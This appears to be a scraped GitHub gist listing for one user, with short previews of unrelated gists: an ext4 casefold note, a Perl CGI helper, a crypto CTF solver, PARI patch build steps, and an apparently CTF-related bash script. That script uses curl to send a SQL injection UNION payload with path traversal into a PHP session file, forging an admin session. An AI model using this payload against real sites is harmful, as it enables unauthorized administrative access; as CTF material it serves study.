Files on the server (except .aspx, .cs, .config) are case-insensitive. But the server is Linux based. What's happening? The answer is ext4 casefold feature.
settings:
mkfs.ext4 -O casefold /srv/www.img
mount /var/www
ytoku
/ twctf2020-nightmare.md
Last active
September 30, 2020 20:42
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| use strict; | |
| use warnings; | |
| use CGI; | |
| use base 'Exporter'; | |
| our @EXPORT = qw(handle tohex); | |
| sub tohex { | |
| my $s = shift; | |
| $s =~ s/(.)/unpack("H*", $1) . " "/sge; | |
| $s; |
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| TARGET_URL=http://localhost:10080 | |
| PASSWORD='' | |
| HASHED_PASSWORD=$(echo -n $PASSWORD | sha1sum | awk '{print $1}') | |
| COOKIEFILE=$(mktemp) | |
| SESSFILE=$(mktemp) | |
| echo -n 'user|s:1:"a";admin|b:1;' > $SESSFILE | |
| curl -s -c $COOKIEFILE "$TARGET_URL/login.php" -d "signin=&password=$PASSWORD&user=') AND 0 UNION SELECT '', '$HASHED_PASSWORD', '', 0 -- /../../../../../var/lib/php5/sess_" >/dev/null | |
| curl -s -b $COOKIEFILE "$TARGET_URL/index.php?page=settings" -F "file=@$SESSFILE" >/dev/null |
ytoku
/ solve-whole.py
Last active
September 7, 2015 15:45
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| # -*- coding:utf-8 -*- | |
| from Crypto.Util.number import * | |
| def sqrt(x, n): | |
| return pow(x, (n+1)/4, n) | |
| A = 2**127 - 1 | |
| B = 2**521 - 1 | |
| M = 2**607 - 1 | |
| n = 63818680202675589216815967315756339566489246779116223051722243409259352306082269405584940079271925323037734694881017657210693291225811959344097136283943773119253977386753351100049200282621303479907450098708525270143513533970091975470643256818850535284677109438825447301648598261836252545636152169068763895406856318437232759172916712871952129664784095465920918889209 |
ytoku
/ pari-2.7.4-hex.patch
Last active
August 29, 2015 14:24
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| How to patch and build | |
| cd pari-2.7.4 | |
| patch -p1 < pari-2.7.4-hex.patch | |
| bison -d src/language/parse.y -o src/language/parse.c | |
| ./Configure | |
| make gp | |
| ============== | |
| diff -Naru old/src/headers/paridecl.h new/src/headers/paridecl.h |